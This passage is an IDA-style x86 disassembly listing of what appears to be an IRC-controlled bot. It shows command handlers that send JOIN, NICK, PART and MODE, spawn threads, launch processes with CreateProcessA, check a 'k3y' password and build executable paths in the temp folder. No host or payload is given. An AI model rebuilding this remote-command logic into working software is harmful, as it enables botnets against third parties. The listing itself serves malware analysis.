		mov	[ebp+var_3288],	eax
		lea	eax, [ebp+Dst]
		push	[ebp+arg_18]
		mov	[ebp+var_3494],	esi
		push	edi
		push	offset asc_443ECC ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	12h		; int
		push	eax		; Source
		call	sub_40B78E
		add	esp, 20h
		mov	[ebp+var_3290],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3494]
		push	ebx
		push	eax
		push	offset sub_41554A
		push	ebx
		push	ebx
		call	ds:dword_4F6384	; CreateThread
		mov	ecx, [ebp+var_3290]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45713C[ecx], eax
		jz	short loc_4081B3

loc_40819D:				; CODE XREF: sub_401CC7+64EAj
		cmp	[ebp+var_3284],	ebx
		jnz	loc_4075C0
		push	32h
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_40819D
; ---------------------------------------------------------------------------

loc_4081B3:				; CODE XREF: sub_401CC7+64D4j
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		push	offset unk_443F08
		jmp	loc_4075B1
; ---------------------------------------------------------------------------

loc_4081C4:				; CODE XREF: sub_401CC7+4E22j
					; sub_401CC7+4E39j
		push	7Fh
		lea	eax, [ebp+var_3068]
		pop	esi
		push	esi		; Count
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_2FE8]
		push	[ebp+arg_18]	; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_2F68]
		push	[ebp+Src]	; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_2EE8]
		push	[ebp+Format]	; Source
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2E64],	eax
		push	[ebp+Src]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2E60],	eax
		lea	eax, [ebp+Dst]
		push	[ebp+arg_18]
		mov	[ebp+var_306C],	esi
		push	edi
		push	offset asc_443DDC ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	0Eh		; int
		push	eax		; Source
		call	sub_40B78E
		add	esp, 20h
		mov	[ebp+var_2E68],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_306C]
		push	ebx
		push	eax
		push	offset sub_414285
		push	ebx
		push	ebx
		call	ds:dword_4F6384	; CreateThread
		mov	ecx, [ebp+var_2E68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45713C[ecx], eax
		jz	short loc_40829B

loc_408285:				; CODE XREF: sub_401CC7+65D2j
		cmp	[ebp+var_2E5C],	ebx
		jnz	loc_4075C0
		push	32h
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_408285
; ---------------------------------------------------------------------------

loc_40829B:				; CODE XREF: sub_401CC7+65BCj
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		push	offset unk_443E0C
		jmp	loc_4075B1
; ---------------------------------------------------------------------------

loc_4082AC:				; CODE XREF: sub_401CC7+4CF9j
					; sub_401CC7+4D10j ...
		push	7Fh
		lea	eax, [ebp+var_3CE4]
		pop	esi
		push	esi		; Count
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_3C64]
		push	[ebp+arg_18]	; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_3BE4]
		push	[ebp+Src]	; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_3B64]
		push	[ebp+Format]	; Source
		push	eax		; Dest
		call	_strncpy
		push	20h		; Count
		lea	eax, [ebp+var_3AE4]
		push	[ebp+arg_8]	; Source
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3A64],	eax
		push	[ebp+Src]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3A60],	eax
		lea	eax, [ebp+Dst]
		push	[ebp+arg_18]
		mov	[ebp+var_3CEC],	esi
		push	edi
		push	offset asc_443D18 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	0Dh		; int
		push	eax		; Source
		call	sub_40B78E
		add	esp, 20h
		mov	[ebp+var_3CE8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3CEC]
		push	ebx
		push	eax
		push	offset sub_41350C
		push	ebx
		push	ebx
		call	ds:dword_4F6384	; CreateThread
		mov	ecx, [ebp+var_3CE8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45713C[ecx], eax
		jz	short loc_408394

loc_40837E:				; CODE XREF: sub_401CC7+66CBj
		cmp	[ebp+var_3A5C],	ebx
		jnz	loc_4075C0
		push	32h
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_40837E
; ---------------------------------------------------------------------------

loc_408394:				; CODE XREF: sub_401CC7+66B5j
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		push	offset unk_443D48
		jmp	loc_4075B1
; ---------------------------------------------------------------------------

loc_4083A5:				; CODE XREF: sub_401CC7+4CCBj
					; sub_401CC7+4CE2j
		push	7Fh		; Count
		lea	eax, [ebp+var_1778]
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	[ebp+arg_18]	; Str
		call	_atoi
		push	3Fh		; Count
		mov	[ebp+var_1628],	eax
		push	[ebp+Src]	; Source
		lea	eax, [ebp+var_16F8]
		push	eax		; Dest
		call	_strncpy
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_4083F0
		push	3Fh		; Count
		lea	eax, [ebp+var_16B8]
		push	esi		; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch

loc_4083F0:				; CODE XREF: sub_401CC7+6715j
		lea	eax, [ebp+var_16F8]
		mov	[ebp+var_1624],	1
		push	eax
		lea	eax, [ebp+var_1778]
		push	[ebp+var_1628]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_443C88 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	1Fh		; int
		push	eax		; Source
		call	sub_40B78E
		add	esp, 20h
		mov	[ebp+var_1620],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_177C]
		push	ebx
		push	eax
		push	offset sub_4019E7
		push	ebx
		push	ebx
		call	ds:dword_4F6384	; CreateThread
		mov	ecx, [ebp+var_1620]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45713C[ecx], eax
		jz	short loc_40847C

loc_408466:				; CODE XREF: sub_401CC7+67B3j
		cmp	[ebp+var_161C],	ebx
		jnz	loc_407028
		push	32h
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_408466
; ---------------------------------------------------------------------------

loc_40847C:				; CODE XREF: sub_401CC7+679Dj
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		push	offset dword_443CB8
		jmp	loc_407019
; ---------------------------------------------------------------------------

loc_40848D:				; CODE XREF: sub_401CC7+4C8Bj
					; sub_401CC7+4CA2j
		push	[ebp+arg_18]	; Str
		call	_atoi
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1D64],	eax
		jle	loc_408580
		mov	esi, 80h
		push	edi		; Format
		lea	eax, [ebp+var_1EEC]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+Format]	; Format
		setnz	al
		mov	[ebp+var_1D60],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1EF0],	eax
		lea	eax, [ebp+var_1DEC]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1D5C],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_1D58],	eax
		lea	eax, [ebp+Dst]
		push	edi
		push	offset asc_443BE0 ; "-"
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	15h		; int
		push	eax		; Source
		call	sub_40B78E
		add	esp, 20h
		mov	[ebp+var_1D6C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1EF0]
		push	ebx
		push	eax
		push	offset sub_413956
		push	ebx
		push	ebx
		call	ds:dword_4F6384	; CreateThread
		mov	ecx, [ebp+var_1D6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45713C[ecx], eax
		jz	short loc_40856F

loc_40855D:				; CODE XREF: sub_401CC7+68A6j
		cmp	[ebp+var_1D54],	ebx
		jnz	short loc_4085D7
		push	32h
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_40855D
; ---------------------------------------------------------------------------

loc_40856F:				; CODE XREF: sub_401CC7+6894j
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		push	offset unk_443C0C
		jmp	loc_404BEE
; ---------------------------------------------------------------------------

loc_408580:				; CODE XREF: sub_401CC7+67D7j
		push	offset unk_443C44
		jmp	loc_40724C
; ---------------------------------------------------------------------------

loc_40858A:				; CODE XREF: sub_401CC7+4C5Dj
					; sub_401CC7+4C74j
		push	[ebp+arg_18]
		push	edi
		call	ds:dword_4F63BC	; MoveFileA
		test	eax, eax
		jz	short loc_4085B7
		push	[ebp+arg_18]
		lea	eax, [ebp+Dst]
		push	edi
		push	offset asc_443B9C ; "-"
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 14h
		jmp	short loc_4085D7
; ---------------------------------------------------------------------------

loc_4085B7:				; CODE XREF: sub_401CC7+68CFj
		push	offset dword_443BC0
		call	sub_418E9D
		pop	ecx
		push	eax		; Format
		lea	eax, [ebp+Dst]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf

loc_4085D4:				; CODE XREF: sub_401CC7+2F33j
					; sub_401CC7+56BDj
		add	esp, 0Ch

loc_4085D7:				; CODE XREF: sub_401CC7+20F6j
					; sub_401CC7+2ED5j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_408708
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int

loc_4085F4:				; CODE XREF: sub_401CC7+5914j
		call	sub_409D6C
		add	esp, 14h
		jmp	loc_408708
; ---------------------------------------------------------------------------

loc_408601:				; CODE XREF: sub_401CC7+4C2Fj
					; sub_401CC7+4C46j
		push	edi		; Format
		lea	eax, [ebp+var_3F04]
		push	104h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_40863B
		push	[ebp+arg_18]	; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40863B
		push	eax		; Format
		lea	eax, [ebp+var_3E00]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx

loc_40863B:				; CODE XREF: sub_401CC7+6952j
					; sub_401CC7+6963j
		push	[ebp+Format]	; Format
		lea	eax, [ebp+var_3F84]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_3F88],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3CF8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3CF4],	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		lea	eax, [ebp+var_3F04]
		push	eax
		push	offset asc_443B24 ; "-"
		lea	eax, [ebp+Dst]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	24h		; int
		push	eax		; Source
		call	sub_40B78E
		add	esp, 20h
		mov	[ebp+var_3CFC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F88]
		push	ebx
		push	eax
		push	offset sub_41785A
		push	ebx
		push	ebx
		call	ds:dword_4F6384	; CreateThread
		mov	ecx, [ebp+var_3CFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45713C[ecx], eax
		jz	short loc_4086ED

loc_4086DB:				; CODE XREF: sub_401CC7+6A24j
		cmp	[ebp+var_3CF0],	ebx
		jnz	short loc_408708
		push	32h
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_4086DB
; ---------------------------------------------------------------------------

loc_4086ED:				; CODE XREF: sub_401CC7+6A12j
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		push	offset asc_443B54 ; "-"

loc_4086F9:				; CODE XREF: sub_401CC7+8F1j
					; sub_401CC7+A2Fj ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch

loc_408708:				; CODE XREF: sub_401CC7+7B6j
					; sub_401CC7+918j ...
		push	1
		pop	esi
		jmp	loc_40704C
; ---------------------------------------------------------------------------

loc_408710:				; CODE XREF: sub_401CC7+4C01j
					; sub_401CC7+4C18j
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi		; Size
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		push	1
		mov	[ebp+var_668], esi
		pop	esi
		mov	[ebp+var_638], bx
		push	edi		; Str
		mov	[ebp+var_63C], esi
		call	_atoi
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_40874D
		mov	[ebp+var_638], 5

loc_40874D:				; CODE XREF: sub_401CC7+6A7Bj
		cmp	[ebp+var_C], ebx
		jz	loc_407028
		push	[ebp+arg_18]	; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_407028
		lea	eax, [ebp+var_E10]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	ds:dword_4F6374	; CreateProcessA
		test	eax, eax
		jnz	short loc_408798
		push	offset unk_443AD4
		jmp	loc_40891F
; ---------------------------------------------------------------------------

loc_408798:				; CODE XREF: sub_401CC7+6AC5j
		push	edi
		push	offset dword_443AF8
		jmp	loc_407019
; ---------------------------------------------------------------------------

loc_4087A3:				; CODE XREF: sub_401CC7+4BD3j
					; sub_401CC7+4BEAj
		push	[ebp+arg_18]	; Str2
		push	offset aK3y	; "k3y"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40891A
		lea	eax, [ebp+var_48F0]
		push	eax
		push	104h
		call	ds:dword_4F63B8	; GetTempPathA
		push	0FFh		; Count
		lea	eax, [ebp+var_25D0]
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+var_17D0]
		push	eax
		call	sub_40B16D
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_48F0]
		push	eax
		lea	eax, [ebp+var_24D0]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax		; Dest
		call	_sprintf
		mov	eax, [ebp+esi+Str2]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_23CC],	1
		mov	[ebp+var_23C8],	ebx
		jz	short loc_408838
		push	10h		; Radix
		push	ebx		; EndPtr
		push	eax		; Str
		call	_strtoul
		add	esp, 0Ch
		mov	[ebp+var_23C0],	eax
		jmp	short loc_40883E
; ---------------------------------------------------------------------------

loc_408838:				; CODE XREF: sub_401CC7+6B5Bj
		mov	[ebp+var_23C0],	ebx

loc_40883E:				; CODE XREF: sub_401CC7+6B6Fj
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_408855
		push	esi		; Str
		call	_atoi
		pop	ecx
		mov	[ebp+var_23C4],	eax
		jmp	short loc_40885B
; ---------------------------------------------------------------------------

loc_408855:				; CODE XREF: sub_401CC7+6B7Dj
		mov	[ebp+var_23C4],	ebx

loc_40885B:				; CODE XREF: sub_401CC7+6B8Cj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh		; Count
		push	[ebp+Format]	; Source
		mov	[ebp+var_23BC],	eax
		lea	eax, [ebp+var_2650]
		mov	[ebp+var_2654],	esi
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_23B4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_23B8],	eax
		push	edi
		lea	eax, [ebp+Dst]
		push	offset asc_443A18 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dst]
		push	1Eh		; int
		push	eax		; Source
		call	sub_40B78E
		add	esp, 18h
		mov	[ebp+var_23D0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2654]
		push	ebx
		push	eax
		push	offset sub_416F9A
		push	ebx
		push	ebx
		call	ds:dword_4F6384	; CreateThread
		mov	ecx, [ebp+var_23D0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45713C[ecx], eax
		jz	short loc_408909

loc_4088F3:				; CODE XREF: sub_401CC7+6C40j
		cmp	[ebp+var_23B0],	ebx
		jnz	loc_407028
		push	32h
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_4088F3
; ---------------------------------------------------------------------------

loc_408909:				; CODE XREF: sub_401CC7+6C2Aj
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		push	offset dword_443A44
		jmp	loc_407019
; ---------------------------------------------------------------------------

loc_40891A:				; CODE XREF: sub_401CC7+6AEDj
		push	offset asc_443A80 ; "-"

loc_40891F:				; CODE XREF: sub_401CC7+2E7Cj
					; sub_401CC7+45F6j ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	loc_407028
; ---------------------------------------------------------------------------

loc_408932:				; CODE XREF: sub_401CC7+4BA5j
					; sub_401CC7+4BBCj
		push	dword ptr [ebp+Args] ; Str2
		push	offset a332_0	; "332"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_402166
		cmp	[ebp+var_C], ebx
		jz	loc_402166
		push	[ebp+arg_18]	; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+Dst]
		push	[ebp+Format]
		push	dword ptr [ebp+Args]
		push	[ebp+var_90]
		push	offset aSSSS	; "%s %s %s :%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	1FFh		; Count
		push	eax		; Source
		push	[ebp+Src]	; Dest
		call	_strncpy
		push	edi		; Str
		call	_atoi
		add	esp, 28h
		test	eax, eax
		jle	short loc_4089BB
		push	edi		; Str
		call	_atoi
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	ds:dword_4F6380	; Sleep

loc_4089BB:				; CODE XREF: sub_401CC7+6CDEj
		push	offset dword_4439EC
		call	sub_415C77
		mov	eax, [ebp+File]
		pop	ecx
		inc	eax
		jmp	loc_402169
; ---------------------------------------------------------------------------

loc_4089CF:				; CODE XREF: sub_401CC7+4B77j
					; sub_401CC7+4B8Ej
		push	dword ptr [ebp+Args] ; Str2
		push	offset a332_1	; "332"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_402166
		cmp	[ebp+var_C], ebx
		jz	loc_409B47
		push	[ebp+arg_18]	; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		mov	esi, eax
		mov	eax, [ebp+arg_18]
		inc	eax
		push	offset aRepeat_0 ; "repeat"
		push	eax		; Str1
		call	_strcmp
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_408A8E
		push	[ebp+Format]
		lea	eax, [ebp+Dst]
		push	dword ptr [ebp+Args]
		push	[ebp+var_90]
		push	offset aSSSS_0	; "%s %s %s :%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	1FFh		; Count
		push	eax		; Source
		push	[ebp+Src]	; Dest
		call	_strncpy
		add	esp, 24h
		lea	eax, [ebp+Dst]
		push	esi
		push	offset asc_443980 ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_415C77
		push	edi		; Str
		call	_atoi
		add	esp, 14h
		test	eax, eax
		jle	loc_409B47
		push	edi		; Str
		call	_atoi
		add	eax, [ebp+File]
		pop	ecx
		jmp	loc_402169
; ---------------------------------------------------------------------------

loc_408A8E:				; CODE XREF: sub_401CC7+6D4Dj
		push	offset asc_443998 ; "-"

loc_408A93:				; CODE XREF: sub_401CC7+76A5j
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch

loc_408AA2:				; CODE XREF: sub_401CC7+762Dj
					; sub_401CC7+777Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_408AC3
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D6C
		add	esp, 14h

loc_408AC3:				; CODE XREF: sub_401CC7+6DDEj
					; sub_401CC7+741Dj ...
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_415C77
		jmp	loc_409B46
; ---------------------------------------------------------------------------

loc_408AD4:				; CODE XREF: sub_401CC7+4B49j
					; sub_401CC7+4B60j
		push	7Fh		; Count
		lea	eax, [ebp+var_2214]
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	7Fh		; Count
		lea	eax, [ebp+var_2194]
		push	[ebp+arg_18]	; Source
		push	eax		; Dest
		call	_strncpy
		push	7Fh		; Count
		lea	eax, [ebp+var_2114]
		push	[ebp+Format]	; Source
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_2090],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2218],	esi
		push	[ebp+arg_18]
		mov	[ebp+var_208C],	eax
		lea	eax, [ebp+Dst]
		push	edi
		push	offset asc_4438E8 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	0Fh		; int
		push	eax		; Source
		call	sub_40B78E
		add	esp, 1Ch
		mov	[ebp+var_2094],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2218]
		push	ebx
		push	eax
		push	offset sub_414E84
		push	ebx
		push	ebx
		call	ds:dword_4F6384	; CreateThread
		mov	ecx, [ebp+var_2094]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45713C[ecx], eax
		jz	short loc_408B98

loc_408B82:				; CODE XREF: sub_401CC7+6ECFj
		cmp	[ebp+var_2088],	ebx
		jnz	loc_408C84
		push	32h
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_408B82
; ---------------------------------------------------------------------------

loc_408B98:				; CODE XREF: sub_401CC7+6EB9j
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		push	offset unk_44391C
		jmp	loc_408C75
; ---------------------------------------------------------------------------

loc_408BA9:				; CODE XREF: sub_401CC7+4B1Bj
					; sub_401CC7+4B32j
		push	7Fh		; Count
		lea	eax, [ebp+var_23A8]
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	7Fh		; Count
		lea	eax, [ebp+var_2328]
		push	[ebp+arg_18]	; Source
		push	eax		; Dest
		call	_strncpy
		push	7Fh		; Count
		lea	eax, [ebp+var_22A8]
		push	[ebp+Format]	; Source
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_2224],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_23AC],	esi
		push	[ebp+arg_18]
		mov	[ebp+var_2220],	eax
		lea	eax, [ebp+Dst]
		push	edi
		push	offset asc_443874 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	11h		; int
		push	eax		; Source
		call	sub_40B78E
		add	esp, 1Ch
		mov	[ebp+var_2228],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_23AC]
		push	ebx
		push	eax
		push	offset sub_414630
		push	ebx
		push	ebx
		call	ds:dword_4F6384	; CreateThread
		mov	ecx, [ebp+var_2228]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45713C[ecx], eax
		jz	short loc_408C69

loc_408C57:				; CODE XREF: sub_401CC7+6FA0j
		cmp	[ebp+var_221C],	ebx
		jnz	short loc_408C84
		push	32h
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_408C57
; ---------------------------------------------------------------------------

loc_408C69:				; CODE XREF: sub_401CC7+6F8Ej
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		push	offset asc_4438A0 ; "-"

loc_408C75:				; CODE XREF: sub_401CC7+6EDDj
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch

loc_408C84:				; CODE XREF: sub_401CC7+6EC1j
					; sub_401CC7+6F96j
		cmp	[ebp+var_8], ebx
		jnz	loc_4041D2
		push	ebx
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]
		push	eax
		push	[ebp+Format]
		push	esi
		jmp	loc_4041CA
; ---------------------------------------------------------------------------

loc_408CA4:				; CODE XREF: sub_401CC7+4AEDj
					; sub_401CC7+4B04j
		push	[ebp+arg_18]
		lea	eax, [ebp+Dst]
		push	offset aPartS_0	; "PART	%s"
		push	eax		; Dest
		call	_sprintf
		push	edi		; Str
		call	_atoi
		add	esp, 10h
		test	eax, eax
		jle	loc_409B47
		push	edi		; Str
		call	_atoi
		cmp	eax, 400h
		pop	ecx
		jge	loc_409B47
		lea	eax, [ebp+Dst]
		push	eax		; Args
		push	offset aS_14	; "%s\r\n"

loc_408CE7:				; CODE XREF: sub_401CC7+7087j
					; sub_401CC7+7BA4j
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		push	dword_457134[eax] ; int
		call	sub_409D26
		jmp	loc_404B36
; ---------------------------------------------------------------------------

loc_408D04:				; CODE XREF: sub_401CC7+4ABFj
					; sub_401CC7+4AD6j
		push	[ebp+esi+Str2]
		lea	eax, [ebp+Dst]
		push	[ebp+arg_18]
		push	offset aJoinSS_1 ; "JOIN %s %s"
		push	eax		; Dest
		call	_sprintf
		push	edi		; Str
		call	_atoi
		add	esp, 14h
		test	eax, eax
		jle	loc_409B47
		push	edi		; Str
		call	_atoi
		cmp	eax, 400h
		pop	ecx
		jge	loc_409B47
		lea	eax, [ebp+Dst]
		push	eax
		push	offset aS_15	; "%s\r\n"
		jmp	short loc_408CE7
; ---------------------------------------------------------------------------

loc_408D50:				; CODE XREF: sub_401CC7+4A91j
					; sub_401CC7+4AA8j
		push	[ebp+arg_18]
		lea	eax, [ebp+Dst]
		push	offset aNickS_5	; "NICK	%s"
		push	eax		; Dest
		call	_sprintf
		push	edi		; Str
		call	_atoi
		add	esp, 10h
		test	eax, eax
		jle	loc_409B47
		push	edi		; Str
		call	_atoi
		cmp	eax, 400h
		pop	ecx
		jge	loc_409B47
		lea	eax, [ebp+Dst]
		push	eax		; Args
		push	offset aS_16	; "%s\r\n"
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		push	dword_457134[eax] ; int
		call	sub_409D26
		add	esp, 0Ch
		push	[ebp+arg_18]
		push	edi		; Args
		push	offset dword_443810 ; Format

loc_408DB7:				; CODE XREF: sub_401CC7+717Aj
					; sub_401CC7+71E8j ...
		call	sub_415CEB
		jmp	loc_404B36
; ---------------------------------------------------------------------------

loc_408DC1:				; CODE XREF: sub_401CC7+4A63j
					; sub_401CC7+4A7Aj
		cmp	[ebp+var_C], ebx
		jz	loc_409B47
		push	[ebp+arg_18]	; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408DF2
		push	esi
		lea	eax, [ebp+Dst]
		push	offset aModeS	; "MODE	%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch

loc_408DF2:				; CODE XREF: sub_401CC7+7114j
		push	edi		; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jle	loc_409B47
		push	edi		; Str
		call	_atoi
		cmp	eax, 400h
		pop	ecx
		jge	loc_409B47
		lea	eax, [ebp+Dst]
		push	eax		; Args
		push	offset aS_17	; "%s\r\n"
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		push	dword_457134[eax] ; int
		call	sub_409D26
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_4437D8
		jmp	loc_408DB7
; ---------------------------------------------------------------------------

loc_408E46:				; CODE XREF: sub_401CC7+4A35j
					; sub_401CC7+4A4Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409B47
		push	[ebp+arg_18]	; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409B47
		push	edi		; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jle	loc_409B47
		push	edi		; Str
		call	_atoi
		cmp	eax, 400h
		pop	ecx
		jge	loc_409B47
		push	esi		; Args
		push	offset aS_18	; "%s\r\n"
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
